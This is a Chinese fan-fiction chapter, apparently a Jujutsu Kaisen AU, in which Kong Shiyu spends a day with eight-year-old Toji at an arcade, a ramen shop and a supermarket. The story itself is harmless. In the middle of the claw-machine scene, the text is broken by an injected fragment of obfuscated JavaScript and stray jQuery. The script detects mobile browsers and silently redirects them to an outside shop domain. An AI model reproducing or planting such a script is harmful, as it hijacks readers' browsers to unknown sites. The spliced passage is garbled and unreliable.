孔时雨醒得比平时早。
翻身摸手机，七点半。他叹了口气，穿着有点皱的睡裤从卧室出来，走到厨房按开咖啡机。
他端着咖啡转过身——
差点忘了，他的公寓里现在多了一个活物。
——
甚尔坐在客厅那块灰色的地毯上，两条腿盘着，没穿袜子。手里捏着遥控器，正在看一个重播的搞笑综艺。声音几乎听不见。看见孔时雨出来，他头也不抬。
“……几点起的？”
“挺早的。”
“几点。”
“五点多？”甚尔按了一下遥控器，换了一个台，“我不知道，你家钟在哪。”
孔时雨揉了揉脖子。这家伙五点多就醒了，在客厅坐了两个多小时，看一个他根本听不懂的综艺，音量调到几乎听不见，还挺懂事，怕吵醒他。
“洗脸。”
“洗过了。”
“……用我毛巾？”
“嗯。”甚尔抬眼看他，绿眼睛里一点表情都没有，“没别的。”
孔时雨：“……”
他把咖啡喝了，打开冰箱看了眼。啤酒、一盒过期三天的纳豆、半瓶酱油。关上。
“饿不饿？”
“饿。”小孩回答得很干脆。
“想吃什么？”
“肉。”
孔时雨叹了口气。他去卧室换衣服，套上件风衣，顺手把兜里的烟盒摸出来检查了一下余量。“走吧。吃完带你去玩。今天是第二天。”
甚尔从地毯上弹起来，动作轻巧得像猫。他把卫衣的兜帽拉起来扣在头上，那道贯穿唇角的疤痕掩进了阴影里。
——
大田区一条普通街道，早上八点，上班族在便利店门口买咖啡。
甚尔走在前面。
他不知道目的地，但他不想走在后面。孔时雨在他身后看着——甚尔东张西望，看见一台自动贩卖机停下来盯了两秒，看见一只柴犬蹲下来想摸。
“喂。”
甚尔回头：“什么？”
“那边。”孔时雨用下巴指了指街角。
“好。”
转身又往那边走，还是走在前面。
孔时雨跟在后面，觉得自己挺像个遛狗的。
——
松屋。孔时雨推门进去，在售票机前站定。
甚尔挤过来站在他旁边，踮起了脚。
“选吧。”
甚尔扫了一眼那排按钮。
孔时雨能看见他眼珠在动。从左到右，从上到下，扫得飞快。
然后他抬手按了最右上角那个。
孔时雨低头看了一眼。
豪华套餐，1280 日元。最贵的那个。
“……”
“怎么了？”甚尔仰头看他，咧嘴笑了一下，“不行？”
孔时雨忍住没笑。这孩子让他省了破结界的术师费用，三百万。怎么不行。
“行。”
他给自己按了一个普通牛丼，塞硬币，出票。
把豪华套餐那张票递给甚尔。
——
吃完出来。早上八点二十，街上人多了起来。
甚尔站在松屋门口，手插在卫衣口袋里等着。
孔时雨点了根烟。
“今天去哪？”甚尔问。
“你想去哪？”
甚尔想了一下：“不知道。”
“……”
“我没来过东京。”
“……我知道。”
孔时雨抽了一口烟。
其实他昨天晚上洗澡的时候想过这个问题。他想了五分钟，得出一个结论——他不知道八岁的小孩玩什么。他自己八岁的时候在釜山的公寓楼下踢易拉罐，但那是釜山，二十年前，他爸还活着。
他想起电玩城。
一个从小被关在京都古老宅院、看的是回廊和枯山水的孩子，跟东京最喧嚣、最缺乏历史底蕴的声光电复合体，无疑是“玩”的体验刷新。
不远，走过去两条街。便宜，吵，有空调，允许抽烟——至少早年间允许，现在他不确定。最重要的是，他不用学怎么陪小孩玩。他可以坐着刷手机，甚尔自己玩。
完美。
——
走到那家电玩城门口的时候，甚尔站住了。
孔时雨看他。
甚尔盯着那块招牌。红黄蓝三色的灯，闪得不规律，门口立着一个比他高一倍的卡通熊，机器的电子音从门里漏出来，“叮——咚——嗡嗡嗡——哗啦啦”。一种孔时雨已经习惯但显然甚尔从来没听过的噪音。
甚尔的眼睛盯着那块招牌，绿眼睛在闪烁的灯光下一明一暗。
他没说话。
孔时雨抽了一口烟，把烟摁在门口的烟灰柱上。
“进。”
甚尔没动。
孔时雨回头看他。
嘴角那道疤在红蓝交替的光下，看着比平时更明显一点。
孔时雨突然想起来，昨天换衣服的时候，他看见甚尔后背还有一些更浅的疤，他没问。
他伸手——本来想拍甚尔脑袋，半路改了主意，改成拍了一下肩膀。
“看什么，进。”
甚尔被拍了一下，回过神。
跟着他进去了。
——
电玩城里的灯比外面更晃。不同种类的街机你响你的我响我的，霓虹灯带红的蓝的紫的，一圈一圈转。空调开得太足，孔时雨有点冷。
“先玩哪个？”孔时雨去换了一小筐游戏代币递过去。
甚尔接过那个对小孩来说有点重的塑料筐，毫不费力地单手端着。“那个。”他指了指最吵闹的区域。
格斗街机。
他们走过去的时候，正好有一个染着黄毛的高中生在狂拍按键，屏幕上闪过晃眼的“K.O.”，对方得意地甩了甩头发。
甚尔爬上另一侧的高脚凳。他看了一眼控制台：一个带红色圆球的摇杆，六个呈弧形排列的塑料按键。
“孔，你投币。”甚尔说。
孔时雨塞进两枚硬币。屏幕亮起来，“Here comes a new challenger”。（新的挑战者出现）对面的黄毛探头看了一眼，发现是个八岁小鬼，笑了一声。
倒计时开始。
孔时雨本想按照不太可靠的记忆告诉他哪个是拳、哪个是脚。但甚尔根本没等他开口。倒计时的三秒钟里，甚尔的手在摇杆和六个按键上快速地掠过了一遍。
“Fight！”
黄毛操纵的角色直接一个前冲飞踢压了过来。
甚尔没躲，他的角色结结实实地挨了一脚，血条掉了一截。但他看清了对方是怎么搓出那个动作的。
接着甚尔动了。
孔时雨站在他侧后方，没看屏幕，光看着甚尔的手，更加觉得这真是了不得。小孩手速飞快，摇杆被推出又拉回的“咔哒”声，和手指敲击塑料按键的“啪啪”声连成一片。
天下武功，唯快不破。屏幕上，甚尔的角色乱拳打死老师傅，把黄毛的角色死死逼在墙角，一套连击。
“K.O.”
黄毛愣住了，疯狂地拍着机器，以为出了Bug。
甚尔松开手，看了一眼自己略微发红的指尖，似乎对这种物理反馈很满意。“这东西，”他转头看向孔时雨，给出了真诚的评价，“比砍人简单。”
孔时雨有点想抽烟了。
——
太鼓达人。
孔时雨远远看着。
甚尔站在机器前，投币，选了一首他自己也不知道是什么的歌——封面是一只熊。难度选了最简单的。
歌开始。
甚尔愣了一下。
孔时雨能看出来——他不识谱，屏幕上飞过来的红圈蓝圈他不知道什么意思。
前十秒，他打得一塌糊涂，屏幕上一片“不可”。
第十一秒，他开始跟上来。
第二十秒，屏幕上开始出现“良”。
第三十秒，“良”变成“可”和“良”混着出现。
第四十秒，全是“良”。
歌结束的时候，屏幕上显示“クリア”——通关。
甚尔从机器前下来，神情没什么变化。走过来在孔时雨旁边坐下。
“换一个。”
——
最后，他们停在了一排光枪射击游戏前。
游戏名叫「化解危机」，需要踩下踏板躲避，松开踏板射击。屏幕上不断涌出恐怖分子。
孔时雨也是拿过配枪的前刑警。站在游戏机前，他体内的某种职业病发作了。“这个有点重。”他看着甚尔拿起那把红色的塑料手枪，“你得两只手拿，左手托住底部，右臂微曲，眼睛、准星、目标三点一线……”
话没说完，甚尔已经踩下了踏板。
游戏开始。
甚尔并没有双手握枪。他单手提着那把有后坐力模拟的塑料枪，身体松垮垮地站着。但孔时雨瞬间闭嘴了。
外行看热闹，内行看门道。
孔时雨看得很清楚，甚尔虽然站姿散漫，但他肩膀的肌肉轴心、手腕的悬停角度，构成了一个稳定三角。他根本没有通过准星去“瞄准”。
屏幕里的敌人随机闪出。
“砰砰砰砰砰！”
连续五声。枪枪爆头。
甚尔的眼睛没有盯着瞄准光标，他看的是屏幕边缘的刷新点。敌人的模型刚露出一个像素的边缘，他的枪口就已经预判到了那个位置。敌人的出现规律、塑料枪的弹道延迟，他的身体反应速度直接超越了视觉处理的延迟。
在一片枪林弹雨的光影中，孔时雨看着身边这个八岁孩子的侧脸。
这分明是场本能的击杀演练......
他终于明白藤本那句“禅院家把他当猴子”有多么可笑了。禅院家扔掉的根本不是什么没有咒力的废物，他们亲手扔掉了一台完美的人形兵器。
——
孔时雨看着甚尔放下那把塑料枪，觉得不能再让这台人形兵器在这个暴力模拟区待下去了。他得找点属于正常八岁小孩的、和平一点的东西。
他把甚尔带到了一台闪亮的四人联机常识抢答机前。
屏幕上跳跃着欢快的卡通形象，规则很简单：看题，抢答，四选一。
“玩这个。”孔时雨投了币。
甚尔狐疑地看着面前红黄蓝绿四个大按键。“按对颜色就行？”
“这是问答题。”孔时雨在旁边的机位坐下，指了指屏幕。
游戏开始。
第一题：【自然常识】“太阳系中体积最大的行星是？”
题目刚弹出来第一个字，语音播报连“太”字都没发完。
“啪！”
甚尔已经拍下了抢答键。手速快得孔时雨连残影都没看着。
屏幕上跳出大大的倒计时。甚尔盯着四个选项（木星、火星、地球、金星），绿眼睛里闪过一丝罕见的空白。
倒计时还剩一秒，甚尔面无表情地拍下了蓝色的“金星”。
屏幕发出一声“嘟——”，跳出巨大的红色“X”。
甚尔皱起了眉头。
第二题：【体育竞技】“在英格兰足球超级联赛中，被称为‘枪手’的球队是哪一支？”
“啪！”
还是甚尔抢到了，本能地……
然后，他再次陷入了沉默。屏幕的倒计时催命一样闪烁。
孔时雨叹了口气，他偶尔看看足球，这道题对他来说简直是送分。但甚尔显然连英格兰在哪都不知道。
甚尔咬着牙，凭着直觉按下了“曼联”。
“嘟——”红色的“X”。
第三题：【流行文化】“当前大热的女团C位是……”
“啪！”
“嘟——”
连续五题，甚尔霸占了所有的抢答权，然后交出了全错的答卷。
连同场匹配的另外两个路人小学生都绝望了——他们根本抢不到答题权，只能看着这个穿着绿卫衣的小孩以单身二十年的手速抢下题目，然后瞎按一气，带着大家一起走向Game Over。
游戏结束，结算画面给甚尔的角色打出了一个颇具嘲讽意味的“E-”。
孔时雨看着小孩吃瘪的表情，乐了。
“怎么，生气了？”
甚尔像只炸毛的猫一样从高脚凳上跳下来。
“换一个。”
——
抓娃娃机区的画风显然柔和了许多。
这种东西，大部分小孩玩起来是瞎按按钮，夹爪每次落空，然后耍赖再来一次。甚尔不是。他塞了第一个币之后没动——爪子开始横移，他没按。爪子横到一半，他抬手按了一下，爪子停下。爪子开始纵移，他又没动。等到爪子停在某个玩偶正上方，他才按下“夹”。
爪子下去，夹到一只粉色的饭团猫，提起来，稳稳地滑到出口。
落下。
“啪嗒。”
甚尔弯腰从出口把那只饭团猫拿出来。
他自己看了一会那只玩具——像是没搞清楚状况。
然后转身，把它扔给孔时雨。
孔时雨接住。
“……给我？”
“嗯。”
“我要这个干嘛。”
“……”甚尔想了一下，“你拿的钱。”
孔时雨：“……”
他把那只粉色饭团猫放在沙发旁边。
“再去。”
——
第二个币，甚尔夹到了一只蓝色的。
第三个币，一只绿色的。
第四个币失手了——爪子在最后一秒打滑。
第五个币，绿色的。
孔时雨沙发旁边堆了四只饭团猫。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606381|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>电玩城店员，一个二十出头的男生，在收银台后面已经盯着他们看了五分钟。这种娃娃机一千日元出二十个币，大部分客人玩二十个币能出一只就算运气好。这小孩五个币出了四只。
孔时雨注意到店员的视线，低头刷手机。
——
甚尔出来的时候手里还剩几个硬币，沙发旁边堆了一摞。孔时雨数了一下，七只饭团猫。粉蓝绿，还有一只少见的橙色。
甚尔站在他面前，手插在卫衣口袋里。
“走吗？”孔时雨说。
“嗯。”
孔时雨低头看了一眼那一摞玩具，没说话。他蹲下去，把那七只塞进电玩城门口抽出来的一个塑料袋里。
塞完直起身，袋子递给甚尔。
甚尔接过去，两只手抱着，袋子比他半个上身还大，抱袋子的姿势跟昨晚抱那本仓野家账簿一模一样。
——
出了电玩城，日头已经升起来了。十一点多。
街上人多了，上班族中午出来买饭。
甚尔抱着那个塑料袋走在孔时雨前面，袋子在他身侧晃。一只粉色饭团猫的耳朵从袋口探出来。
孔时雨在后面看着。
——
午饭。
孔时雨在街角找了家拉面馆，门面很小，门口挂着塑料模型。他进门的时候甚尔看了一眼那个塑料拉面模型——一碗叉烧拉面，塑料汤面凝固成琥珀色，叉烧上一片塑料葱花。
“……这个能吃？”
“模型。”
“哦。”
进店。柜台前面五个高脚凳，只有最里面那个有人，一个老头在喝啤酒。
孔时雨坐下。甚尔也跟着坐下，塑料袋放在两人之间的凳子上。
老板从厨房里抬头。
“两份豚骨。”孔时雨说，“不加葱。”
甚尔抬头看他。
“你怎么知道我不吃葱？”
“猜的。”
其实是早上看见小孩把味噌汤里的葱花一根根挑出来堆在碗边。孔时雨没说。
“……我吃葱。”甚尔说。
“那要加？”
甚尔想了一下：“都行。”
孔时雨低头笑了一下。
“都行。”他对老板说，“不加。”
——
拉面端上来。
甚尔吃东西很快，但干净，没有声音，像是餐桌礼仪的加速版。
老板娘跟他说话，他就把小店的手艺夸上了天。
“啊啦，这孩子能吃又会说，真可爱。”老板娘散发慈爱光辉。
在花街混的小鬼……孔时雨默默结了账。
——
吃完面出来，孔时雨想起冰箱里那盒过期纳豆。
街角一家小型连锁超市，孔时雨推开玻璃门。
甚尔抱着那个塑料袋跟进去。袋子在他怀里晃，一只粉色饭团猫的脑袋探出来，被自动门夹了一下耳朵。孔时雨想伸手帮忙，甚尔自己拉回来了。
——
孔时雨买东西的速度很快。他知道自己要什么——速冻饺子两包、面包、牛奶、鸡蛋、一袋米、纳豆扔掉买新的、洗发水快用完了，扔瓶一样的进去。
走到第三排货架——零食区，他停了一下，回头看甚尔。
“过来。”
甚尔看了一眼那一排零食。
他又开始扫视。从左到右，从上到下。
最终，他抬手——
孔时雨以为他又会指最贵的那个，正在心里默默笑。
甚尔的手指停在一袋柿子糖上。120 日元。
“这个。”
孔时雨愣了一下。
“……就这个？”
“嗯。”
孔时雨没再说话。他从架子上又拿了一袋小熊软糖——和昨天栗东那一袋同款——扔进筐里，又拿了一包薄荷糖、一袋椒盐脆饼、一盒抹茶巧克力。
“……”甚尔看着筐里那堆东西。
“你的。”孔时雨说。
“……”
“别说话。”
甚尔没说话。但孔时雨走到下一排货架的时候，听见身后甚尔从袋子里掏了一下什么，大概是把柿子糖更稳妥地塞进去。
——
结完账，甚尔现在两只手都拎着东西——左手抱着饭团猫的塑料袋，右手拎一个超市塑料袋。
孔时雨走在他旁边。
“给我一个。”
“不用。”
“给我。”
甚尔把超市袋递过去。
孔时雨接过来。挺重的。
——
回家。
电梯里。镜子里两个人站着——一个 28 岁的西装男人手里拎着一个超市袋，一个 8 岁的穿绿卫衣的小孩抱着一袋饭团猫。
孔时雨在镜子里看了一眼这个画面。
像什么呢。
像一对刚刚搬家的父子。
操。
——
进门，甚尔把塑料袋放在玄关，然后看了孔时雨一眼，问：
“放哪？”
“什么？”
“它们。”
孔时雨看了一眼那袋饭团猫。
“……沙发。”
甚尔抱起袋子，走到客厅，把那袋东西放在沙发一角。他没立刻退开，站在那儿看了看那个袋子。
“孔。”
“嗯。”
“我做什么？”
孔时雨愣了一下。
——
这是一个孔时雨没准备好的问题。
他把超市袋拎到厨房，边拆边想。
甚尔站在客厅，没动。
——
“……随便。想做什么做什么。”他就想出来这么一个烂答案。
甚尔在客厅站着，环顾了一圈。
孔时雨家的客厅：一张沙发、一张矮桌、一台电视、阳台门、阳台上一盆死了的不知道是什么的植物。沙发上现在多了一袋饭团猫。
甚尔看了一圈。
然后走到沙发那儿，在饭团猫旁边坐下。
没开电视。没动遥控器。没拿那袋柿子糖。
就那么坐着。
——
孔时雨在厨房把速冻饺子塞进冰箱。
回头看了一眼客厅。
甚尔坐在沙发上，手放在膝盖上，看着窗外。
——
孔时雨把冰箱门关上。
阿一西。
他想了一下，从超市袋里翻出那盒抹茶巧克力，撕开，走到客厅，递过去。
甚尔抬头，接过去。拿了一块放进嘴里。
孔时雨在他旁边坐下——隔着那袋饭团猫的距离。
打开电视。
随便一个台。一个中午重播的新闻。某地下雨。
两个人坐着看了十分钟新闻。